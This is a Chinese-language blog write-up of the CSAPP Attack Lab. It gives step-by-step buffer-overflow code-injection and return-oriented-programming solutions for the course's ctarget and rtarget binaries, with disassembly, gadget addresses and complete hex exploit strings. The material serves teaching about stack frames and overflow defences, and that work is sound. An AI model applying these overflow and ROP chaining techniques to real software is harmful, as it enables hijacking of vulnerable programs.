首页 > 其他分享 >CSAPP Lab-3 ATTACKLAB

CSAPP Lab-3 ATTACKLAB

时间:2024-04-24 13:34:34浏览次数:16  
标签:CSAPP 48 c7 00 Lab c3 ATTACKLAB rdi 我们

书接上回,这次做到了第三个 Lab 啦。

任务描述

这一个 Lab 的任务就更有意思了,实验给了我们两个程序,每个程序都会让我们输入一行字符串,而它们是通过下面这个函数来读取的:

unsigned getbuf() {
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}

其中,Gets 函数和 C 库的 gets 函数实现了相同的功能,从标准输入读取一行,并且存储到参数提供的地址上,不判断地址提供的有效空间是否存储得下。

而我们的任务就是利用缓冲区溢出,让本来应该直接输入完正常结束的程序,执行实验要求的某些函数。

实验希望我们使用两种攻击方法,分别是注入攻击(Code injection, CI)和 ROP 攻击(Return-oriented programming)。实验提供了两个相应的程序,CTARGETRTARGET,分别用来配合注入攻击和 ROP 攻击。一共有 \(5\) 个任务,其中分为 \(3\) 个注入攻击任务和两个 ROP 攻击任务。

image-20230903204102436

前置知识

  1. 对于程序运行的栈帧格式是一定要熟悉的。当然,仅仅依靠这个图是不行的,不同栈使用方式、系统环境都会让编译器选择不同的分配方式,因此要结合反汇编程序来观察。

    image-20230903204546509
  2. 想要代码注入的话,那么需要输入代码的字节级表示,显然是不能使用可见字符的形式输入的。实验为我们提供了 hex2raw 程序,可以帮我们将十六进制串转变为二进制文件以供输入。

  3. 注意小端法机器的十六进制序列输入顺序。

  4. 要先使用 objdump -d ctargetobjdump -d rtarget 来获取两个程序的反汇编。

Phase 1 CI touch1

第一个任务比较简单,我们不需要进行代码注入,只需要修改函数的返回位置即可。

根据实验说明,ctarget 程序中的 getbuf 都是通过下面的函数调用的:

void test() {
	int val;
	val = getbuf();
	printf("No exploit. Getbuf returned 0x%x\n", val);
}

而我们的任务就是使得 getbuf 函数在返回的时候,不返回到 test 中,而是返回到下面的 touch1 函数里。

void touch1() {
	vlevel = 1; /* Part of validation protocol */
	printf("Touch1!: You called touch1()\n");
	validate(1);
	exit(0);
}

这个任务非常简单,我们先观察一下 getbuf 函数的汇编指令:

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

可见,getbuf 函数的 buf 数组是在函数执行前的栈指针下 0x28 位的,而栈指针在函数执行前指向的位置就应该是返回地址存储的位置。因此,函数返回地址就存在 buf 的开始地址后 \(40\) 位处。

因此,我们随便输入 \(40\) 个字符以后,输入 touch1 的地址即可。

touch1 的地址是 00000000004017c0,我们将需要转化为字符串的数据写入 phase1.txt

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00

image-20230903211356830

爆破成功!

Phase 2 CI touch2

第二个任务就有点难度了。这个任务要求我们调用下面的函数:

void touch2(unsigned val) {
	vlevel = 2;       /* Part of validation protocol */
	if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
		validate(2);
	}else{
    	printf("Misfire: You called touch2(0x%.8x)\n", val);
		fail(2);
	}
    exit(0);
}

这个函数和 touch1 不同的是,touch2 这个函数还带了一个参数,要求我们传递一个 unsigned 类型的参数,这个函数会把参数和 cookie 作比较,相同了才能通过这个任务。

想要传递参数,那么就不能修改返回地址直接 rettouch2,而是要先跳转到我们自己注入的一段代码,执行后再 rettouch2 的地址。

那么应该和 phase1 类似的是,我们要先输入任意的 40 个字节,然后跟着的应该是我们注入的代码的地址,这样在 getbuf 函数 ret 以后跳转的位置应该就是我们注入的指令了。在我的规划中,我打算继续紧接着放 touch2 的地址 00000000004017ec,因为在第一次 ret 以后栈指针会加 \(8\),指向的应该就是我们放这个地址的位置了。(当然,将 touch2 的地址在注入的代码中再压入栈里可能是一种更直观的方法)

注意到第一个参数使用的寄存器一般是 %rdi,我们的 cookie0x59b997fa,因此我们很容易写出我们应该注入的代码:

movq $0x59b997fa, %rdi
ret

shell 中执行:

gcc -c phase2.s
objdump -d phase2.o

就可以得到这段代码的二进制序列了:

image-20230903213615682

48 c7 c7 fa 97 b9 59 c3

这段代码的长度不长,只有几个字节,直接放进 buf 数组的位置中就可以了。

还有一个问题就是这段注入的代码的地址怎么获得呢?这就需要我们在注入这段代码的时候,栈指针的位置,也就是 buf 数组的地址了。我们可以使用 gdb 来获得它的地址,只需要在运行之前,在 getbuf 函数分配栈帧的代码后设置断点即可,在 gdb 打断后输入 %rsp 的值。

image-20230903214459843

于是我们得到了代码的注入位置 0x5561dc78

于是我们输入的十六进制序列应该是:

48 c7 c7 fa 97 b9 59 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 ec 17 40 00 00 00 00 00

结果……就在我以为我要通过了的时候:

image-20230903215547877

可能是因为输入的串太长了,导致了程序出现了一个 segmentation fault……

没办法,还是用把 touch2 地址在注入代码中压入栈的方法把。

movq $0x59b997fa, %rdi
pushq $0x00000000004017ec
ret
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00

image-20230903215944551

终于,爆破成功!

Phase 3 CI touch3

第三个任务和第二个任务很相似,只不过,第三个任务要把字符串形式的 cookie 作为参数传入,而不是 unsigned 形式的。

/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
    char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    sprintf(s, "%.8x", val);
    return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

在实验说明中给出了 hexmatch 函数和 touch3 函数的实现,可以看出 hexmatch 函数会将 cookie 转化为一个 \(8\) 个字符的十六进制,然后和我们传入的字符串比较是否相等。

于是我们的思路也很简单,我们先将 cookie 的字符串存进一个位置中,然后将这个地址赋值给 %rdi 即可,其余的部分保持和 Phase2 一样(touch3 的地址也替换掉)。

然后你可能就会立刻开始操作,将字符串存储进 getbuf 的缓冲区的一个位置,计算出这个位置的地址填进 %rdi。然而……这个思路可能会有一些问题(哈哈哈哈我自己试了一遍才发现不行):因为在 hexmatch 中会新开一个长 cbuf 数组,在这个数组中的任意一个位置都有可能会被 ssprintf 输出。而我们存储字符串的位置在这个函数调用时的栈指针下面,是栈扩展的方向,因此我们的字符串可能会被覆盖掉!

为了避免这个问题,我们可以将字符串存储在返回地址的后面,也就是 buf + 0x28 + 0x8 的位置,这样就不会被覆盖了。根据 Phase2 的结果,buf 的地址是 0x5561dc78 + 0x30 = 0x5561dca8

另外,touch3 的地址是 00000000004018fa,于是我们可以写出汇编代码:

movq $0x5561dca8, %rdi
pushq $0x00000000004018fa
ret

转化成机器码序列:

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3

进而,我们的十六进制输入序列就是:

48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61

image-20230903223629014

爆破成功!

Phase 4 ROP touch2

代码注入的攻击方式虽然简单,但是很容易就可以让它无法成功:比如限制栈区域的数据是不可执行的,或者使用栈随机化等方法。

另一个被称为 ROP 攻击的方法,通过在我们现有代码中,寻找部分可以为我们所有的片段组合起来,形成我们的攻击。我们在代码中找到若干个片段,每个片段包括一系列的指令,最后跟着一个 ret 指令。我们可以将数个代码片段的地址放在返回地址中,形成下图所示的结构,使得在当前函数返回的时候,可以依次进入到我们每个代码片段中执行一遍,然后再一次 ret 就可以进入下一个代码片段中。这样的每个片段被我们称为 gadget

image-20230903233449101

当然,我们并不一定每次都能找到所有需要的操作。不过我们可以使用一些奇怪的方法来完成,比如从一个指令的一半处截取。比如以下的函数:

void setval_210(unsigned *p)
{
    *p = 3347663060U;
}

它的汇编代码是:

0000000000400f15 <setval_210>:
    400f15: c7 07 d4 48 89 c7   movl $0xc78948d4,(%rdi)
    400f1b: c3                  retq

我们从 0x400f18 出开始执行,那么我们得到的等价指令就是:

movq %rax, %rdi
ret

而在我们的任务中,我们可以使用实验提供的 gadget farm 中的片段,gadget farm 在 rtarget 程序的 start_farm 和 end_farm 两个函数之间,我们只能使用这里面的 gadget。

我们现在来看 Phase4。

Phase4 要求我们实现 Phase2 相同的功能,只不过是使用 ROP 的方式。

回忆一下我们 Phase2 使用的汇编代码:

movq $0x59b997fa, %rdi
pushq $0x4017ec
ret

对应于一段 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 的机器指令。

然而很遗憾,我们根本不可能找到这些能恰好表示出立即数的片段。一个很容易想到的方法是将 $0x59b997fa$0x4017ec 依次放入栈中,然后调用下面的汇编指令来实现我们的需求:

popq %rdi
ret

对应的机器码只有 5f c3 这么简单。然而……即使只有这么简单,在实验提供的 gadget farm 中也完全找到符合要求的片段。

那么我们只能考虑能不能把 popq %rdi 的需求分开来实现。考虑到我们刚刚才举例过一个 movq %rax, %rdi 的例子,而这个例子就出自 gadget farm,我们只要找到 popq %rax; ret 就可以补齐了,这两个指令对应的编码是 58 c3

……然而,还是找不到……

但是,我们可以发现实验给了个提示:

nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single byte 0x90. Its only effect is to cause the program counter to be incremented by 1.

我们可以在 popq %rax 后面插入若干个 nop 指令来保持相同的功能。于是我们开始搜索 58 90

很快,我们就找到了这个 gadget:

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq   

最后的三个字节 58 90 c3 完美符合我们的需要。这个位置的地址应该是 0x4019a7 + 4 = 4019ab

然而我发现我找不到之前 movq %rax, %rdi 的例子里提到的 setval_210 函数……敢情实验文档在骗我……那就搜索一下把。

这个指令的编码是 48 89 c7。第一次搜索发现找不到合适的,那就补充一个 nop48 89 c7 90……寻找成功!

00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq   

位置应该是 0x4019c3 + 2 = 0x4019c5

因此,我们可以构造出我们的攻击串了:\(40\) 个任意字符,加上 4019ab,接上我们需要从栈中弹出的 cookie:0x59b997fa ,加上第二个 gadget 的地址 0x4019c5,最后是 touch2 的地址:0x4017ec

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00

image-20230904000618443

爆破成功!

PS:其实还有另一个解,

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq   

这个函数从 0x4019a0 + 2 = 0x4019a2 开始,也形成了一个 48 89 c7 c3 ,虽然这个 c3 不是原来天然的 ret,但是也是可以用的。

Phase 5 ROP touch3

Phase 5 的任务和 Phase 3 很相似,只不过我们需要使用 ROP 攻击的方式完成。

让我们先来回顾一下 Phase 3 的攻击方法。我们注入了以下这段代码的机器码到栈中,并将栈地址和字符串内容分别放在了返回地址及其后面 \(8\) 个字节上。

0000000000000000 <.text>:
   0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
   7:   68 fa 18 40 00          pushq  $0x4018fa
   c:   c3                      retq

显然我们这个代码中应该采用类似的思路,但是我们知道很难找到这样的完整的立即数地址。

所以我们现在是不是应该有一个很清晰的思路了:和 Phase 4 类似,对于第一条指令的立即数地址(也就是我们存放 cookie 字符串的地址),我们将之放入栈中,通过 popq 指令提取出来。对于第二条指令,我们将 touch3 的指令放进栈里,直接 ret 就可以到达了,不必专门在指令中压栈。

如果你是这样想——那么很遗憾,这是行不通的。因为采取了栈随机化的策略,我们没有办法知道每次运行时栈指针的位置,也就不知道 buf 数组开始的地址了。因此我们没办法找到我们放字符串的地址,也就没法提前写进我们攻击的字符串里。

那么怎么解决呢?cookie 字符串是只能放在栈里的,这是没有办法绕开的,因此我们只能从怎么表示出这个地址上入手。很明显,我们存放 cookie 串的位置和每次运行栈的相对位置是不变的——或者说偏移量是固定的。

当然,偏移量一般是用立即数来表示的,但是如果我们用立即数那么肯定需要使用 addq 指令,这个指令的机器码一定会含有 48 83,这在我们的 farm 中除了根本找不到。

那么我们还有一种策略就是将偏移存储进栈中,然后从栈中读取,再和 %rsp 的副本做运算即可。可以使用 leaq 指令来完成这个运算。

这样我们可以大概写出我们需要的汇编指令:

movq %rsp, %rxx
popq %ryy					# 栈中这个 gadget 的后面应该是偏移量的值
leaq (%rxx, %ryy, 1), %rdi
ret

其中,%rxx %ryy 可以是任意一个寄存器。

当然,想要直接找到满足我们需要的指令显然是不可能的,我们可以找很多可以间接使用的指令。

一句一句来找吧!movq %rsp, %rxx 对应的机器码是 48 89 e?,当然还要再加上一个 retc3)。我们尝试找到类似 movq %rsp, %rxx 的所有指令,只有 movq %rsp, %rax 找成功了,地址是 0x401a03 + 3 = 401a06

0000000000401a03 <addval_190>:
  401a03:	8d 87 41 48 89 e0    	lea    -0x1f76b7bf(%rdi),%eax
  401a09:	c3                   	retq   

当然,只有 movq %rsp, %rax 并不保险,为了以防 %rax 并不能一步到位,我们再找到类似于 movq %rax, %??? 的所有指令,其编码应该是 48 89 c?,这里我们只找到了 movq %rax, %rdi 的指令,也就是前一个 Phase 中我们找到的,位于 0x4019c5

00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq   

当然,movl 的指令也是可以用的,这里我们也找出来 movl %eax, %e?? 的所有指令,其机器码应为 89 c?。我们也只找到了两条,0x4019a3movl %eax, %edi4019ddmovl %eax, %edx

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq   

00000000004019db <getval_481>:
  4019db:	b8 5c 89 c2 90       	mov    $0x90c2895c,%eax
  4019e0:	c3                   	retq   

(我们也尝试找了 movl %esp, %e?? 的指令,但是只有 movl %esp, %eax,与 movq 版本的指令意义重复了)

接下来是 popq %ryy,这个指令的机器码是 5?,只能找到这一种类型popq %rax,位于0x4019a7 + 4 = 4019ab

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq   

很显然,因为我们找到的 %rxx%ryy 都是 %rax,因此我们必须要将 %rxx 拷贝进别的寄存器。我们先寻找一下第三条语句需要的寄存器,再决定前两条语句怎么拷贝。

gadget farm 中有现成的 leaq (%rdi,%rsi,1),%rax 语句,如果我们直接利用现成的语句,需要将一个 %rax 拷贝到 %rdi 中,另一个拷贝到 %rsi 中。拷贝到 %rdi 中我们是有已经找好的指令的,但是拷贝到 %rsi 中我们还没有找到。

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	retq   

我们已经可以做到从 %rax 拷贝到 %rdx%rdi,那么我们不妨使用它们作为中转,找到到达 %rsi 的路径。我们无法找到 movl %edi, %e?? 的指令,但是可以找到一条满足 movl %edx, %ecx 的指令,位于 0x401a68 + 1 = 401a69。这个指令中,我们需要的指令是 89 d1 08 db c3,其中 89 d1movl %edx, %ecxc3ret,中间的 08 db 代表 xorb %bl,不会做出实际的运算,所以可以当做 nop 使用。

0000000000401a68 <getval_311>:
  401a68:	b8 89 d1 08 db       	mov    $0xdb08d189,%eax
  401a6d:	c3                   	retq   

好,我们现在再从 %rcx 出发,寻找到达 %rsi 的路径。很快我们就找到了这样一条 movl %ecx, %esi,成功啦!这条指令位于 0x401a11 + 2 = 0x401a13

0000000000401a11 <addval_436>:
  401a11:	8d 87 89 ce 90 90    	lea    -0x6f6f3177(%rdi),%eax
  401a17:	c3                   	retq   

好,现在我们可以整理出我们目前已经找到的指令了:

movq %rsp, %rax			# 0x401a06
movq %rax, %rdi			# 0x4019c5
popq %rax				# 0x4019ab
movl %eax, %edx			# 0x4019dd
movl %edx, %ecx 		# 0x401a69
movl %ecx, %esi			# 0x401a13
leaq (%rdi,%rsi,1),%rax	# 0x4019d6
movq %rax, %rdi			# 0x4019c5

成功!

现在我们只需要再整理一下栈帧即可。

image-20230904143604048

上图就是我们本次注入的栈帧示意图,相应的十六进制序列是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

image-20230904143837466

爆破成功!

最后

这一次的实验任务还是很有趣味的,虽然感觉并不一定能教会我什么东西……但是让我对于过程调用的栈帧机制有了更深刻的理解,之前很多在书上学到的纸面知识在实践中被亲手验证和利用的感觉还是很不错的,也确实会让我在之后多家警惕这种由缓冲区溢出带来的危害。

标签:CSAPP,48,c7,00,Lab,c3,ATTACKLAB,rdi,我们
From: https://www.cnblogs.com/hankeke303/p/18155087/csapp-attacklab

相关文章

  • CSAPP Lab-4 Architecture Lab
    本次实验是有关书上第四章设计的Y86-64处理器的,实验分为三个部分,分别是编写几个简单的Y86-64程序、使用一条新指令扩展SEQ模拟器以及优化Y86-64的基准测试程序和处理器设计。实验准备需要简单复习一下Y86-64的指令集架构以及处理器架构呢。指令集架构指令集:指令功......
  • CSAPP Lab5 Cache Lab
    到实验5啦!这次的实验是有关高速缓存的。让我们先来复习一下高速缓存的基础知识吧!复习高速缓存的结构在一个存储器地址有\(m\)位的系统上,一共有\(M=2^m\)个地址。假设高速缓存被组织成一个有\(S=2^s\)个高速缓存组的数组,其中每个组包括\(E\)个高速缓存行,每行存......
  • CSAPP Lab6 Shell Lab
    本次实验的任务很清晰,实现一个简单的UnixShell。需要用到基础的进程控制、信号处理等知识。简单来说,实验已经提供了一些简单的功能,我们需要在此基础上,实现下面的功能:eval:解析和解释命令行的主例程。[70行]builtin_cmd:识别并解释内置命令quit(退出)、fg(前台运行某个作业)、bg(后......
  • CSAPP Lab-2 BOMBLAB
    第二个Lab就比较有趣了。这一个Lab的任务是,我们得到了一个bomb炸弹程序,这个炸弹程序有\(6\)个phase,每个phase都会读取我们的输入,判断我们的输入是否符合要求,如果正确这个phase的炸弹就会被拆除,否则炸弹就会爆炸。我们需要借助各种工具,对程序进行反汇编等等,获得能够......
  • 伯克利大学 CS61B Lab配置教程
    基本过程:首先将伯克利大学的代码框架下载到自己的电脑,然后我们直接在框架里修改就行将自己的代码上传到github上,然后使用伯克利大学的Gradescope评测自己写的代码下载代码在自己电脑桌面新建一个文件夹,这里我命名为:cs61b,打开gitbash,使用cd进入我们新创建的文件夹,注意路径......
  • 读《我和Labview》5条件结构和顺序结构
    5条件结构和顺序结构条件结构布尔类型条件选择结构其它数据类型的条件选择是否要设置默认分支?合理设置悬着条件隧道避免把控件放在条件结构内选择函数顺序结构程序执行顺序创建顺序结构层叠式顺序结构平铺式顺序结构无形胜有形的最高境界6用户自定义控件7控件的局......
  • Linux服务器中Docker部署的GitLab镜像访问出现500错误
    一背景这几天发现在Linux服务器中Docker部署的GitLab镜像访问出现500错误,在重启服务器后大概10分钟再次出现该情况,后面登录服务器一步步排查最终解决问题,现在将解决问题的过程做一个总结。二过程分析首先第一步就是看看我们Docker目录下文件占用的情况,因为我们的Linux服务......
  • 如何将Docker中GitLab数据备份到宿主Linux上
    一宿主机准备存放备份文件的目录建议以年月日进行命名使用putty.exe或者PowerShell登录远程服务器cdshare(如果没有当前目录请创建该共享目录)mkdir20220930(在共享目录下创建备份文件夹)二进入Docker容器内部备份数据1.执行命令sudodockerexec-itgitlab/bin/......
  • feign调用接口报错No qualifying bean of type '***HttpMessageConverters' available
    在整合springcloudgeateway时,调用了feign接口,报错Noqualifyingbeanoftype'org.springframework.boot.autoconfigure.http.HttpMessageConverters'available报错信息feign.codec.EncodeException:Noqualifyingbeanoftype'org.springframework.boot.autocon......
  • MIT6.S081 - Lab2: system calls
    Lab2:systemcalls预备知识执行一次系统调用的流程:USERMODEstep1:系统调用声明user/user.h:系统调用函数(如intfork(void))step2:ecall进入内核态user/usys.S(该文件由user/usys.pl生成,后续添加函数可以在这里添加):执行如下命令.globalforkfork:lia7,SYS_f......